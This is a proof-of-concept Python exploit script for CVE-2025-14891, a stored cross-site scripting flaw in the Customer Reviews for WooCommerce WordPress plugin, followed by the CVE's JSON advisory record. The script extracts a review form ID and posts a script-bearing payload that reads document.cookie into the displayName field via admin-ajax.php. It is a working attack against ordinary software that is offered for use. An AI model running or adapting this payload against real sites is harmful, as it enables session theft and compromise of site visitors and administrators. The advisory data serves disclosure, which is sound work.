CVE-2025-14891

import requests import re # CVE-2025-14891 PoC - Stored XSS in Customer Reviews for WooCommerce # Target: WordPress site with Customer Reviews for WooCommerce plugin <= 5.93.1 def get_form_id(target_url, proxies=None): """Extract form ID from the reviews form page""" # Search for form IDs in page source response = requests.get(target_url, proxies=proxies, timeout=10) form_id_pattern = re.compile(r'cr-form-id[\'"\s]*:[\'"\s]*(\d+)') match = form_id_pattern.search(response.text) if match: return match.group(1) # Alternative pattern form_id_pattern2 = re.compile(r'name="formId"[^>]*value="(\d+)"') match = form_id_pattern2.search(response.text) if match: return match.group(1) return None def exploit_stored_xss(target_url, form_id, attacker_payload, proxies=None): """Exploit the stored XSS vulnerability via AJAX endpoint""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # XSS payload - can be customized based on attack objective xss_payload = '<img src=x onerror=alert(document.cookie)>' data = { 'action': 'cr_submit_review', # AJAX action endpoint 'formId': form_id, 'displayName': xss_payload, # Vulnerable parameter 'reviewText': 'Test review for CVE-2025-14891', 'rating': '5' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(ajax_url, data=data, headers=headers, proxies=proxies, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if 'success' in response.text.lower() or response.status_code == 200: print("[+] XSS payload submitted successfully!") print(f"[+] Payload will execute when review is displayed.") else: print("[-] Attack may have failed, check form ID or site configuration") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Usage example if __name__ == "__main__": target = "https://example-wordpress-site.com" form_id = "123" # Replace with actual form ID exploit_stored_xss(target, form_id, None)

{"cve": {"id": "CVE-2025-14891", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:57.790", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'displayName' parameter in all versions up to, and including, 5.93.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with customer-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. While it is possible to invoke the AJAX action without authentication, the attacker would need to know a valid form ID, which requires them to place an order. This vulnerability can be exploited by unauthenticated attackers if guest checkout is enabled. However, the form ID still needs to be obtained through placing an order."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/customer-reviews-woocommerce/trunk/includes/reminders/class-cr-local-forms-ajax.php#L76", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/customer-reviews-woocommerce/trunk/templates/form-customer.php#L19", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3424980/customer-reviews-woocommerce", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/88e4eec2-2861-4d1d-97eb-67887f59c745?source=cve", "source": "[email protected]"}]}}